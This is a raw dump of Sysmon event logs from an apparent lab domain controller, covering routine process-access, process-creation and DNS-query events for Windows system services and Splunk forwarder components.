09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2958-5F80-3601-000000007F01}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2958-5F80-3601-000000007F01}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.680{A5F018FF-2958-5F80-3601-000000007F01}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2958-5F80-3501-000000007F01}884C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2958-5F80-3501-000000007F01}884C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.007{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2958-5F80-3501-000000007F01}884C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.008{A5F018FF-2958-5F80-3501-000000007F01}884C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000005542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.330{A5F018FF-2956-5F80-3301-000000007F01}3068win-dc-17966110fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe 10341000x80000000000000005541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2959-5F80-3701-000000007F01}3288C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 